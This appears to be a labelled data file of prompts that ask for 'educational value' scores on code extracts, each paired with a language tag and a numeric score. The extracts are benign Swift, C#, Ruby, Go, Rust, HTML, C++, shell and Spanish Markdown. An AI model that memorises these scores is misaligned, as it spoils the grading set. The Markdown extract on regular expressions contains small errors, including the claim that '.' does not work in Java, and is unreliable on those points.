@IBOutlet weak var lastPerformed: UILabel!
// Empty variable for the workout
var workout:Workouts?
// variable for the delegate
var delegate: HomeCellDelegate?
override func awakeFromNib() {
super.awakeFromNib()
// Initialization code
}
override func setSelected(_ selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
// Configure the view for the selected state
}
// Setting the cell up
func setCell(_ w:Workouts) {
// Set itself to the exercise
self.workout = w
// Make sure we have an exercise
guard self.workout != nil else {
return
}
// Start setting the fields
workoutName.text = workout!.name
lastPerformed.text = " Last Performed: ---"
guard Master.lastPerformed.count != 0 else {
return
}
for i in 0...Master.lastPerformed.count-1 {
if workout!.name == Master.lastPerformed[i].name {
lastPerformed.text = " Last Performed: \(Master.lastPerformed[i].lastPerformed)"
}
}
}
// Connection to the button, sends the name of the workout in this case
@IBAction func editTapped(_ sender: Any) {
delegate?.didTapEdit(name: workout!.name)
}
}
|
Below is an extract from a C# program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
Add 1 point if the program contains valid C# code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
Add another point if the program addresses practical C# concepts, even if it lacks comments.
Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., LINQ, reflection). The code should be well-structured and contain some comments.
Give a fourth point if the program is self-contained and highly relevant to teaching C#. It should be similar to a school exercise, a tutorial, or a C# course section.
Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C#. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
// Copyright (c) <NAME>, 2012-2018. All rights reserved.
// Licensed under the Apache 2.0 license. See the LICENSE file in the project root for full license information.
using System;
using System.Collections.Generic;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading.Tasks;
using Microsoft.Data.SqlClient;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;
namespace MartinCostello.SqlLocalDb
{
/// <summary>
/// An application that acts as a test harness for the <c>MartinCostello.SqlLocalDb</c> assembly. This class cannot be inherited.
/// </summary>
internal static class Program
{
/// <summary>
/// The main entry point to the application.
/// </summary>
/// <param name="args">The command-line arguments passed to the application.</param>
/// <returns>
/// A <see cref="Task"/> representing the asynchronous application.
/// </returns>
internal static async Task Main(string[] args)
{
PrintBanner();
var options = new SqlLocalDbOptions()
{
AutomaticallyDeleteInstanceFiles = true,
StopOptions = StopInstanceOptions.NoWait,
};
var services = new ServiceCollection().AddLogging((p) => p.AddConsole().SetMinimumLevel(LogLevel.Debug));
var loggerFactory = services.BuildServiceProvider().GetRequiredService<ILoggerFactory>();
using (var localDB = new SqlLocalDbApi(options, loggerFactory))
{
if (!localDB.IsLocalDBInstalled())
{
Console.WriteLine(SR.SqlLocalDbApi_NotInstalledFormat, Environment.MachineName);
return;
}
if (args?.Length == 1 &&
(string.Equals(args[0], "/deleteuserinstances", StringComparison.OrdinalIgnoreCase) ||
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
csharp
| 3 |
// Copyright (c) <NAME>, 2012-2018. All rights reserved.
// Licensed under the Apache 2.0 license. See the LICENSE file in the project root for full license information.
using System;
using System.Collections.Generic;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading.Tasks;
using Microsoft.Data.SqlClient;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;
namespace MartinCostello.SqlLocalDb
{
/// <summary>
/// An application that acts as a test harness for the <c>MartinCostello.SqlLocalDb</c> assembly. This class cannot be inherited.
/// </summary>
internal static class Program
{
/// <summary>
/// The main entry point to the application.
/// </summary>
/// <param name="args">The command-line arguments passed to the application.</param>
/// <returns>
/// A <see cref="Task"/> representing the asynchronous application.
/// </returns>
internal static async Task Main(string[] args)
{
PrintBanner();
var options = new SqlLocalDbOptions()
{
AutomaticallyDeleteInstanceFiles = true,
StopOptions = StopInstanceOptions.NoWait,
};
var services = new ServiceCollection().AddLogging((p) => p.AddConsole().SetMinimumLevel(LogLevel.Debug));
var loggerFactory = services.BuildServiceProvider().GetRequiredService<ILoggerFactory>();
using (var localDB = new SqlLocalDbApi(options, loggerFactory))
{
if (!localDB.IsLocalDBInstalled())
{
Console.WriteLine(SR.SqlLocalDbApi_NotInstalledFormat, Environment.MachineName);
return;
}
if (args?.Length == 1 &&
(string.Equals(args[0], "/deleteuserinstances", StringComparison.OrdinalIgnoreCase) ||
string.Equals(args[0], "--delete-user-instances", StringComparison.OrdinalIgnoreCase)))
{
localDB.DeleteUserInstances(deleteFiles: true);
}
IReadOnlyList<ISqlLocalDbVersionInfo> versions = localDB.GetVersions();
Console.WriteLine(Strings.Program_VersionsListHeader);
Console.WriteLine();
foreach (ISqlLocalDbVersionInfo version in versions)
{
Console.WriteLine(version.Name);
}
Console.WriteLine();
IReadOnlyList<ISqlLocalDbInstanceInfo> instances = localDB.GetInstances();
Console.WriteLine(Strings.Program_InstancesListHeader);
Console.WriteLine();
foreach (ISqlLocalDbInstanceInfo instanceInfo in instances)
{
Console.WriteLine(instanceInfo.Name);
}
Console.WriteLine();
string instanceName = Guid.NewGuid().ToString();
ISqlLocalDbInstanceInfo instance = localDB.CreateInstance(instanceName);
var manager = new SqlLocalDbInstanceManager(instance, localDB);
manager.Start();
try
{
if (IsCurrentUserAdmin())
{
manager.Share(Guid.NewGuid().ToString());
}
try
{
using SqlConnection connection = manager.CreateConnection();
await connection.OpenAsync();
try
{
await ExecuteCommandAsync(connection, (command) => command.CommandText = "create database [MyDatabase]");
await ExecuteCommandAsync(connection, (command) => command.CommandText = "drop database [MyDatabase]");
}
finally
{
await connection.CloseAsync();
}
}
finally
{
if (IsCurrentUserAdmin())
{
manager.Unshare();
}
}
}
#pragma warning disable CA1031
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
#pragma warning restore CA1031
finally
{
manager.Stop();
localDB.DeleteInstance(instance.Name);
}
}
Console.WriteLine();
Console.Write(Strings.Program_ExitPrompt);
Console.ReadKey();
}
private static async Task ExecuteCommandAsync(SqlConnection connection, Action<SqlCommand> configure)
{
using SqlCommand command = new SqlCommand()
{
Connection = connection,
};
configure(command);
await command.ExecuteNonQueryAsync();
}
/// <summary>
/// Returns whether the current user is in the administrators group on the local machine.
/// </summary>
/// <returns>
/// <see langword="true"/> if the current user is in the administrators
/// group on the local machine; otherwise <see langword="false"/>.
/// </returns>
private static bool IsCurrentUserAdmin()
{
if (!OperatingSystem.IsWindows())
{
return false;
}
using WindowsIdentity identity = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
/// <summary>
/// Prints a banner to the console containing assembly and operating system information.
/// </summary>
private static void PrintBanner()
{
Assembly assembly = typeof(SqlLocalDbApi).Assembly;
AssemblyName assemblyName = assembly.GetName();
Console.WriteLine(
Strings.Program_BannerFormat,
assemblyName.Name,
assembly.GetCustomAttribute<AssemblyCopyrightAttribute>()?.Copyright,
assemblyName.Version,
assembly.GetCustomAttribute<AssemblyFileVersionAttribute>()?.Version,
assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion,
assembly.GetCustomAttribute<AssemblyConfigurationAttribute>()?.Configuration,
Environment.UserDomainName,
Environment.UserName,
IsCurrentUserAdmin(),
Environment.OSVersion,
RuntimeInformation.OSDescription,
RuntimeInformation.FrameworkDescription,
RuntimeInformation.OSArchitecture,
RuntimeInformation.ProcessArchitecture);
}
}
}
|
Below is an extract from a Ruby program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Ruby code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Ruby concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., metaprogramming, blocks). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Ruby. It should be similar to a school exercise, a tutorial, or a Ruby course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Ruby. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
json.partial! "regional_profiles/regional_profile", regional_profile: @regional_profile
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
ruby
| 1 |
json.partial! "regional_profiles/regional_profile", regional_profile: @regional_profile
|
Below is an extract from a Go program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Go code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Go concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., goroutines, interfaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Go. It should be similar to a school exercise, a tutorial, or a Go course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Go. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package main
import (
"flag"
"github.com/kube-queue/tf-operator-extension/cmd/app"
"github.com/kube-queue/tf-operator-extension/cmd/app/options"
"k8s.io/klog/v2"
)
func main() {
s := options.NewServerOption()
s.AddFlags(flag.CommandLine)
flag.Parse()
if err := app.Run(s); err != nil {
klog.Fatalf("Failed to run: %v", err)
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
go
| 1 |
package main
import (
"flag"
"github.com/kube-queue/tf-operator-extension/cmd/app"
"github.com/kube-queue/tf-operator-extension/cmd/app/options"
"k8s.io/klog/v2"
)
func main() {
s := options.NewServerOption()
s.AddFlags(flag.CommandLine)
flag.Parse()
if err := app.Run(s); err != nil {
klog.Fatalf("Failed to run: %v", err)
}
}
|
Below is an extract from a Ruby program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Ruby code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Ruby concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., metaprogramming, blocks). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Ruby. It should be similar to a school exercise, a tutorial, or a Ruby course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Ruby. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
def fibonacci(num)
end
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
ruby
| 0 |
def fibonacci(num)
end
|
Below is an extract from a Rust program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Rust code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Rust concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., ownership, lifetimes). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Rust. It should be similar to a school exercise, a tutorial, or a Rust course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Rust. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
extern crate native_tls;
use native_tls::{Identity, TlsAcceptor, TlsStream};
use std::fs::File;
use std::io::{Read, Write};
use std::net::{TcpListener, TcpStream};
use std::sync::Arc;
use std::thread;
fn main() {
let mut cert_file = File::open("test/cert.pem").unwrap();
let mut certs = vec![];
cert_file.read_to_end(&mut certs).unwrap();
let mut key_file = File::open("test/key.pem").unwrap();
let mut key = vec![];
key_file.read_to_end(&mut key).unwrap();
let pkcs8 = Identity::from_pkcs8(&certs, &key).unwrap();
let acceptor = TlsAcceptor::new(pkcs8).unwrap();
let acceptor = Arc::new(acceptor);
let listener = TcpListener::bind("0.0.0.0:8443").unwrap();
fn handle_client(mut stream: TlsStream<TcpStream>) {
let mut buf = [0; 1024];
let read = stream.read(&mut buf).unwrap();
let received = std::str::from_utf8(&buf[0..read]).unwrap();
stream
.write_all(format!("received '{}'", received).as_bytes())
.unwrap();
}
for stream in listener.incoming() {
match stream {
Ok(stream) => {
let acceptor = acceptor.clone();
thread::spawn(move || {
let stream = acceptor.accept(stream).unwrap();
handle_client(stream);
});
}
Err(_e) => { /* connection failed */ }
}
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
rust
| 3 |
extern crate native_tls;
use native_tls::{Identity, TlsAcceptor, TlsStream};
use std::fs::File;
use std::io::{Read, Write};
use std::net::{TcpListener, TcpStream};
use std::sync::Arc;
use std::thread;
fn main() {
let mut cert_file = File::open("test/cert.pem").unwrap();
let mut certs = vec![];
cert_file.read_to_end(&mut certs).unwrap();
let mut key_file = File::open("test/key.pem").unwrap();
let mut key = vec![];
key_file.read_to_end(&mut key).unwrap();
let pkcs8 = Identity::from_pkcs8(&certs, &key).unwrap();
let acceptor = TlsAcceptor::new(pkcs8).unwrap();
let acceptor = Arc::new(acceptor);
let listener = TcpListener::bind("0.0.0.0:8443").unwrap();
fn handle_client(mut stream: TlsStream<TcpStream>) {
let mut buf = [0; 1024];
let read = stream.read(&mut buf).unwrap();
let received = std::str::from_utf8(&buf[0..read]).unwrap();
stream
.write_all(format!("received '{}'", received).as_bytes())
.unwrap();
}
for stream in listener.incoming() {
match stream {
Ok(stream) => {
let acceptor = acceptor.clone();
thread::spawn(move || {
let stream = acceptor.accept(stream).unwrap();
handle_client(stream);
});
}
Err(_e) => { /* connection failed */ }
}
}
}
|
Below is an extract from an HTML document. Evaluate whether it has a high educational value and could help teach web development. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document contains valid HTML markup, even if it's not educational, like boilerplate code or standard tags.
- Add another point if the document addresses practical HTML concepts and uses semantic elements appropriately.
- Award a third point if the document is suitable for educational use and introduces key web concepts, even if the topic is somewhat advanced (e.g., forms, metadata). The code should be well-structured and use clear, descriptive naming.
- Give a fourth point if the document is self-contained and highly relevant to teaching HTML. It should be similar to a school exercise, a tutorial, or an HTML course section for early learners.
- Grant a fifth point if the document is outstanding in its educational value and is perfectly suited for teaching HTML to beginners. It should be well-organized, easy to understand, and ideally include some explanatory comments or demonstrate best practices in HTML structure.
The extract:
<html><head><title>
Közbeszerzési Döntőbizottság határozatai
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2"></head><body text=black link=black alink=blue vlink=black><h2><b>
Közbeszerzési Döntőbizottság határozatai
</b></h2><FONT size=3><i><u>
</i></u>
<br>
<a href="5650.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Kventa Kft. jogorvoslati kérelme Nógrád Megye Közgyűlése közbeszerzési eljárása ellen – K. É. – 5650)</a><br><br>
<a href="5651.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Greco Kft. jogorvoslati kérelme a Jász-Nagykun-Szolnok Megyei Munkaügyi Központ közbeszerzési eljárása ellen – K. É. – 5651)</a><br><br>
<a href="5652.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Intherra Kft. jogorvoslati kérelme az Országos Egészségbiztosítási Pénztár közbeszerzési eljárása ellen – K. É. – 5652)</a><br><br>
<a href="5653.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Schiller-Diamed Kft. jogorvoslati kérelme Budapest Főváros Főpolgármesteri Hivatal közbeszerzési eljárása ellen – K. É. – 5653)</a><br><br>
<a href="5654.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Aqua-Ép Kft. jogorvoslati kérelme – K. É. – 5654)</a><br><br>
<a href="5655.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Hódmezővásárhelyi Útépítő Kft. jogorvoslati kérelme a Szabolcs-Szatmár-Bereg Megyei Állami Közútkezelő Kht. közbeszerzési eljárása ellen – K. É. – 5655)</a><br><br>
</FONT><p> </p><div align="center"><center><table border="0" cellpadding="0"> <tr> <td><a href="index.html" target><img src="../vissza.gif" width="29" height="30" alt="index.html"></a></td> <td><a href="#up" target><img src="../Fel.gif" width="30" height="29" alt="Fel"></a></td> </tr></table></center></div></body></html>
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
html
| 1 |
<html><head><title>
Közbeszerzési Döntőbizottság határozatai
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2"></head><body text=black link=black alink=blue vlink=black><h2><b>
Közbeszerzési Döntőbizottság határozatai
</b></h2><FONT size=3><i><u>
</i></u>
<br>
<a href="5650.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Kventa Kft. jogorvoslati kérelme Nógrád Megye Közgyűlése közbeszerzési eljárása ellen – K. É. – 5650)</a><br><br>
<a href="5651.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Greco Kft. jogorvoslati kérelme a Jász-Nagykun-Szolnok Megyei Munkaügyi Központ közbeszerzési eljárása ellen – K. É. – 5651)</a><br><br>
<a href="5652.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Intherra Kft. jogorvoslati kérelme az Országos Egészségbiztosítási Pénztár közbeszerzési eljárása ellen – K. É. – 5652)</a><br><br>
<a href="5653.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Schiller-Diamed Kft. jogorvoslati kérelme Budapest Főváros Főpolgármesteri Hivatal közbeszerzési eljárása ellen – K. É. – 5653)</a><br><br>
<a href="5654.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Aqua-Ép Kft. jogorvoslati kérelme – K. É. – 5654)</a><br><br>
<a href="5655.html"> Közbeszerzések Tanácsa Közbeszerzési Döntőbizottság határozata (Hódmezővásárhelyi Útépítő Kft. jogorvoslati kérelme a Szabolcs-Szatmár-Bereg Megyei Állami Közútkezelő Kht. közbeszerzési eljárása ellen – K. É. – 5655)</a><br><br>
</FONT><p> </p><div align="center"><center><table border="0" cellpadding="0"> <tr> <td><a href="index.html" target><img src="../vissza.gif" width="29" height="30" alt="index.html"></a></td> <td><a href="#up" target><img src="../Fel.gif" width="30" height="29" alt="Fel"></a></td> </tr></table></center></div></body></html>
|
Below is an extract from a C++ program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C++ code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C++ concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., memory management). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C++. It should be similar to a school exercise, a tutorial, or a C++ course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C++. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
// Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.
#pragma once
#include "allocator.hpp"
#include "datastore.h"
#include "free_list_allocator.hpp"
#include "free_list_raw_allocator.hpp"
#include "raw_allocator.hpp"
#include <vespa/vespalib/util/array.hpp>
namespace vespalib::datastore {
template <typename RefT>
DataStoreT<RefT>::DataStoreT()
: DataStoreBase(RefType::numBuffers(),
RefType::unscaled_offset_size())
{
}
template <typename RefT>
DataStoreT<RefT>::~DataStoreT() = default;
template <typename RefT>
void
DataStoreT<RefT>::freeElem(EntryRef ref, size_t numElems)
{
RefType intRef(ref);
BufferState &state = getBufferState(intRef.bufferId());
if (state.isActive()) {
if (state.freeListList() != nullptr && numElems == state.getArraySize()) {
if (state.freeList().empty()) {
state.addToFreeListList();
}
state.freeList().push_back(ref);
}
} else {
assert(state.isOnHold());
}
state.incDeadElems(numElems);
state.cleanHold(getBuffer(intRef.bufferId()),
intRef.unscaled_offset() * state.getArraySize(), numElems);
}
template <typename RefT>
void
DataStoreT<RefT>::holdElem(EntryRef ref, size_t numElems, size_t extraBytes)
{
RefType intRef(ref);
size_t alignedLen = RefType::align(numElems);
BufferState &state = getBufferState(intRef.bufferId());
assert(state.isActive());
if (state.hasDisabledElemHoldList()) {
state.incDeadElems(alignedLen);
return;
}
_elemHold1List.push_back(ElemHold1ListElem(ref, alignedLen));
state.incHoldElems(alignedLen);
state.incExtraHoldBytes(extraBytes);
}
template <typename RefT>
void
DataStoreT<RefT>::trimElemHoldList(generation_t usedGen)
{
ElemHold2List &elemHold2List = _elemHold2List;
ElemHold2List::iterator it(elemHold2List.begin());
ElemHold2List::iterator ite
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
cpp
| 2 |
// Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.
#pragma once
#include "allocator.hpp"
#include "datastore.h"
#include "free_list_allocator.hpp"
#include "free_list_raw_allocator.hpp"
#include "raw_allocator.hpp"
#include <vespa/vespalib/util/array.hpp>
namespace vespalib::datastore {
template <typename RefT>
DataStoreT<RefT>::DataStoreT()
: DataStoreBase(RefType::numBuffers(),
RefType::unscaled_offset_size())
{
}
template <typename RefT>
DataStoreT<RefT>::~DataStoreT() = default;
template <typename RefT>
void
DataStoreT<RefT>::freeElem(EntryRef ref, size_t numElems)
{
RefType intRef(ref);
BufferState &state = getBufferState(intRef.bufferId());
if (state.isActive()) {
if (state.freeListList() != nullptr && numElems == state.getArraySize()) {
if (state.freeList().empty()) {
state.addToFreeListList();
}
state.freeList().push_back(ref);
}
} else {
assert(state.isOnHold());
}
state.incDeadElems(numElems);
state.cleanHold(getBuffer(intRef.bufferId()),
intRef.unscaled_offset() * state.getArraySize(), numElems);
}
template <typename RefT>
void
DataStoreT<RefT>::holdElem(EntryRef ref, size_t numElems, size_t extraBytes)
{
RefType intRef(ref);
size_t alignedLen = RefType::align(numElems);
BufferState &state = getBufferState(intRef.bufferId());
assert(state.isActive());
if (state.hasDisabledElemHoldList()) {
state.incDeadElems(alignedLen);
return;
}
_elemHold1List.push_back(ElemHold1ListElem(ref, alignedLen));
state.incHoldElems(alignedLen);
state.incExtraHoldBytes(extraBytes);
}
template <typename RefT>
void
DataStoreT<RefT>::trimElemHoldList(generation_t usedGen)
{
ElemHold2List &elemHold2List = _elemHold2List;
ElemHold2List::iterator it(elemHold2List.begin());
ElemHold2List::iterator ite(elemHold2List.end());
uint32_t freed = 0;
for (; it != ite; ++it) {
if (static_cast<sgeneration_t>(it->_generation - usedGen) >= 0)
break;
RefType intRef(it->_ref);
BufferState &state = getBufferState(intRef.bufferId());
freeElem(it->_ref, it->_len);
state.decHoldElems(it->_len);
++freed;
}
if (freed != 0) {
elemHold2List.erase(elemHold2List.begin(), it);
}
}
template <typename RefT>
void
DataStoreT<RefT>::clearElemHoldList()
{
ElemHold2List &elemHold2List = _elemHold2List;
ElemHold2List::iterator it(elemHold2List.begin());
ElemHold2List::iterator ite(elemHold2List.end());
for (; it != ite; ++it) {
RefType intRef(it->_ref);
BufferState &state = getBufferState(intRef.bufferId());
freeElem(it->_ref, it->_len);
state.decHoldElems(it->_len);
}
elemHold2List.clear();
}
template <typename RefT>
template <typename EntryT>
Allocator<EntryT, RefT>
DataStoreT<RefT>::allocator(uint32_t typeId)
{
return Allocator<EntryT, RefT>(*this, typeId);
}
template <typename RefT>
template <typename EntryT, typename ReclaimerT>
FreeListAllocator<EntryT, RefT, ReclaimerT>
DataStoreT<RefT>::freeListAllocator(uint32_t typeId)
{
return FreeListAllocator<EntryT, RefT, ReclaimerT>(*this, typeId);
}
template <typename RefT>
template <typename EntryT>
RawAllocator<EntryT, RefT>
DataStoreT<RefT>::rawAllocator(uint32_t typeId)
{
return RawAllocator<EntryT, RefT>(*this, typeId);
}
template <typename RefT>
template <typename EntryT>
FreeListRawAllocator<EntryT, RefT>
DataStoreT<RefT>::freeListRawAllocator(uint32_t typeId)
{
return FreeListRawAllocator<EntryT, RefT>(*this, typeId);
}
template <typename EntryType, typename RefT>
DataStore<EntryType, RefT>::DataStore()
: ParentType(),
_type(1, RefType::offsetSize(), RefType::offsetSize())
{
addType(&_type);
initActiveBuffers();
}
template <typename EntryType, typename RefT>
DataStore<EntryType, RefT>::~DataStore()
{
dropBuffers(); // Drop buffers before type handlers are dropped
}
template <typename EntryType, typename RefT>
EntryRef
DataStore<EntryType, RefT>::addEntry(const EntryType &e)
{
ensureBufferCapacity(0, 1);
uint32_t activeBufferId = _activeBufferIds[0];
BufferState &state = this->getBufferState(activeBufferId);
size_t oldSize = state.size();
EntryType *be = static_cast<EntryType *>(this->getBuffer(activeBufferId)) + oldSize;
new (static_cast<void *>(be)) EntryType(e);
RefType ref(oldSize, activeBufferId);
state.pushed_back(1);
return ref;
}
template <typename EntryType, typename RefT>
const EntryType &
DataStore<EntryType, RefT>::getEntry(EntryRef ref) const
{
RefType intRef(ref);
const EntryType *be = this->template getEntry<EntryType>(intRef);
return *be;
}
template <typename EntryType, typename RefT>
template <typename ReclaimerT>
FreeListAllocator<EntryType, RefT, ReclaimerT>
DataStore<EntryType, RefT>::freeListAllocator()
{
return FreeListAllocator<EntryType, RefT, ReclaimerT>(*this, 0);
}
extern template class DataStoreT<EntryRefT<22> >;
}
|
Below is an extract from a shell script. Evaluate whether it has a high educational value and could help teach shell scripting. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the script contains valid shell commands, even if it's not educational, like simple system calls or basic file operations.
- Add another point if the script addresses practical shell scripting concepts (e.g., variables, conditionals), even if it lacks comments.
- Award a third point if the script is suitable for educational use and introduces key concepts in shell scripting, even if the topic is somewhat advanced (e.g., functions, process management). The script should be well-structured and contain some comments.
- Give a fourth point if the script is self-contained and highly relevant to teaching shell scripting. It should be similar to a tutorial example or a shell scripting course section, demonstrating good practices in script organization.
- Grant a fifth point if the script is outstanding in its educational value and is perfectly suited for teaching shell scripting. It should be well-written, easy to understand, and contain step-by-step explanations in comments.
The extract:
#!/bin/bash
out=`bash assets/check <<EOF
{
"source": {
"url": "https://get.mocaccino.org/mocaccino-extra"
},
"version": { "ref": "MISSING" }
}
EOF
`
echo $out
if [ -z "$out" ]; then
echo "No output: $out"
exit 1
fi
mkdir tmp
out=`bash assets/in tmp <<EOF
{
"source": {
"url": "https://get.mocaccino.org/mocaccino-extra"
},
"version": { "ref": "MISSING" }
}
EOF
`
echo $out
if [ -z "$out" ]; then
echo "No output: $out"
exit 1
fi
if [ ! -e "tmp/repository.yaml" ]; then
echo "repository file not fetched"
exit 1
fi
rm -rfv tmp/repository.yaml
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
shell
| 2 |
#!/bin/bash
out=`bash assets/check <<EOF
{
"source": {
"url": "https://get.mocaccino.org/mocaccino-extra"
},
"version": { "ref": "MISSING" }
}
EOF
`
echo $out
if [ -z "$out" ]; then
echo "No output: $out"
exit 1
fi
mkdir tmp
out=`bash assets/in tmp <<EOF
{
"source": {
"url": "https://get.mocaccino.org/mocaccino-extra"
},
"version": { "ref": "MISSING" }
}
EOF
`
echo $out
if [ -z "$out" ]; then
echo "No output: $out"
exit 1
fi
if [ ! -e "tmp/repository.yaml" ]; then
echo "repository file not fetched"
exit 1
fi
rm -rfv tmp/repository.yaml
|
Below is an extract from a Markdown document. Evaluate its educational value, considering both Markdown usage and the content itself. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document uses basic Markdown syntax correctly (e.g., headers, lists, or emphasis), regardless of content.
- Add another point if the document's content has some educational value, even if it's basic or limited in scope. The Markdown usage should be correct but might not be diverse.
- Award a third point if the document demonstrates a good range of Markdown features (e.g., links, images, code blocks) AND the content provides clear, accurate information on a topic. The structure should be logical and easy to follow.
- Give a fourth point if the document is well-suited for teaching both its subject matter and effective Markdown usage. It should use varied Markdown elements to enhance the presentation of educational content, similar to a well-crafted tutorial or lesson.
- Grant a fifth point if the document is exceptional both in its use of Markdown and the educational value of its content. It should demonstrate advanced Markdown features (e.g., tables, task lists, footnotes), have an engaging structure, and provide comprehensive, high-quality educational content on its topic. The document should serve as an excellent example of using Markdown for educational purposes.
The extract:
---
layout: default
title: Expresiones regulares
categories: apis-java
order: 1
---
# Expresiones regulares
Las expresiones regulares (o regex) son **series de caracteres que se usan para hacer búsquedas o sustituciones en textos**.
En Java podemos acceder a estas funcionalidad a través de las clases del paquete `java.util.regex`, y de manera limitada a través de la clase `String`.
## Reglas básicas
Las expresiones regulares se componen siguiendo unas reglas especificas que pueden combinarse libremente_
* `"hola"`: una serie de caracteres implica una búsqueda literal; sólo "hola" encajaría aquí.
* `"[0-9abcdef]"`: una serie de caracteres (o un rango válido con guión) implica que aceptamos cualquier carácter de estos; un carácter hexadecimal cualquiera encaja aquí.
* `"[^0-9]"`: lo anterior con un `^` antes indica que podemos usar cualquier carácter menos los del rango; en este caso significa que aceptamos cualquier carácter que no sea un número.
* `".ola"`: el punto es el comodín, indicando que cualquier carácter vale; tanto "bola" como "cola", como "Hola" encajan; en Java no.
* `"[a-z]{1, 10}"`: los números entre corchetes indican el número admitido de repeticiones; este regex requiere una palabra en minúsuculas de 1 a 10 caracteres.
* `{9}` se puede usar para indicar un número exacto de repeticiones.
